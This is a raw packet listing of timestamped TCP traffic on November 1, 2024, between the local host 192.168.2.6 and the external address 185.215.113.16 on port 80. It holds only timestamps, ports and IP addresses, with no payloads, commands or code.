Nov 1, 2024 03:45:25.368951082 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.369096994 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.414305925 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.414845943 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.415038109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.415052891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.415067911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.415083885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.415190935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.415215015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.415220976 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.415254116 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.435993910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436009884 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436024904 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436039925 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436084986 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.436121941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436142921 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436152935 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.436156988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436181068 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.436213017 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.436311007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436328888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436470032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436481953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436503887 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436520100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436533928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436544895 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.436544895 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.436551094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436590910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436604977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436616898 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.436616898 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.436745882 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.436793089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436806917 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436820984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436836004 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436850071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.436929941 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.437156916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437174082 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437191963 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437206984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437308073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437318087 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.437324047 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437338114 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437354088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437367916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437381983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437383890 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.437383890 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.437398911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437413931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437443018 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.437485933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.437616110 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437630892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437661886 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.437755108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437772036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437854052 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.437918901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437932014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437947035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437962055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437982082 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.437997103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438013077 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438016891 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.438016891 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.438116074 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.438216925 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438232899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438247919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438261032 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438296080 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438308001 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.438350916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438355923 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.438369036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438383102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438397884 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438410997 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438426971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438427925 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.438442945 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438457966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438472033 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.438472033 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.438493967 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.438827038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438842058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438863993 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438918114 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.438940048 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.438970089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.438985109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439002037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439016104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439029932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439065933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.439121962 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.439487934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439505100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439519882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439536095 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439549923 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439563990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439579010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439583063 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.439600945 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.439636946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439652920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439701080 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.439805031 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439842939 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.439882040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439898014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439912081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439928055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439949036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.439968109 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.439968109 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.440022945 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440041065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440054893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440058947 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.440072060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440085888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440100908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440114021 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.440118074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440155983 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.440155983 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.440167904 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440181971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440195084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440210104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440226078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440263987 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.440263987 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.440325975 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.440716982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440738916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440888882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440903902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440918922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440934896 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.440936089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440952063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440968037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440984011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.440985918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.441009998 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.441009998 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.441013098 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.441030025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.441046000 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.441129923 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.441129923 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.441364050 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.461213112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.461244106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.461258888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.461388111 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.483800888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.483864069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.483899117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.483915091 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.483959913 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.484004974 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.484019041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.484020948 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.484035015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.484051943 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.484062910 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.484092951 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.484144926 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.484159946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.484186888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.484203100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.484234095 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.484234095 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.484307051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.484323978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.484353065 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.484400988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.484415054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.485018015 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.529794931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.529844046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.529860973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.529885054 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.529915094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.529931068 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.529943943 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.529944897 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.530019999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.530044079 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.530086994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.530102015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.530435085 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.550687075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.550741911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.550755978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.550820112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.550832033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.550854921 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.550854921 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.550869942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.550884962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.550906897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.550906897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.550971985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.550987959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551038980 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.551038980 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.551080942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551109076 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551124096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551140070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551218033 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.551218987 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.551223040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551294088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551309109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551330090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551386118 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.551386118 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.551419973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551434994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551450014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551465988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551481009 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551510096 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.551565886 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.551695108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551711082 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551726103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551742077 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551760912 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.551760912 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.551764011 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551780939 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.551812887 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.553066969 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553124905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553145885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553150892 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.553206921 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.553255081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553268909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553282976 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553299904 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553426981 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.553436041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553450108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553596973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553611994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553627014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553633928 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.553643942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553658962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553668976 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.553673983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553692102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553726912 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.553901911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553919077 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553936958 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.553982019 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.554056883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.554073095 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.554088116 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.554102898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.554117918 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.554124117 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.554124117 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.554133892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.554147959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.554151058 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.554163933 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.554179907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.554194927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.554217100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.554219961 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.554219961 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.554234028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.554244995 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.557029963 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.564364910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564379930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564403057 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564456940 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.564470053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564485073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564500093 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564541101 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.564573050 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.564583063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564603090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564616919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564759970 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.564804077 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564825058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564840078 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564856052 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564872026 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564887047 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564902067 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.564929008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.564950943 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.564950943 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.565155029 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565170050 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565186024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565201998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565217972 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565227032 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.565232992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565233946 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.565248966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565346003 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.565433025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565448046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565464020 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565494061 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.565525055 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.565581083 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565615892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565629959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565644026 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565658092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.565665007 CET	49750	80	192.168.2.6	185.215.113.16
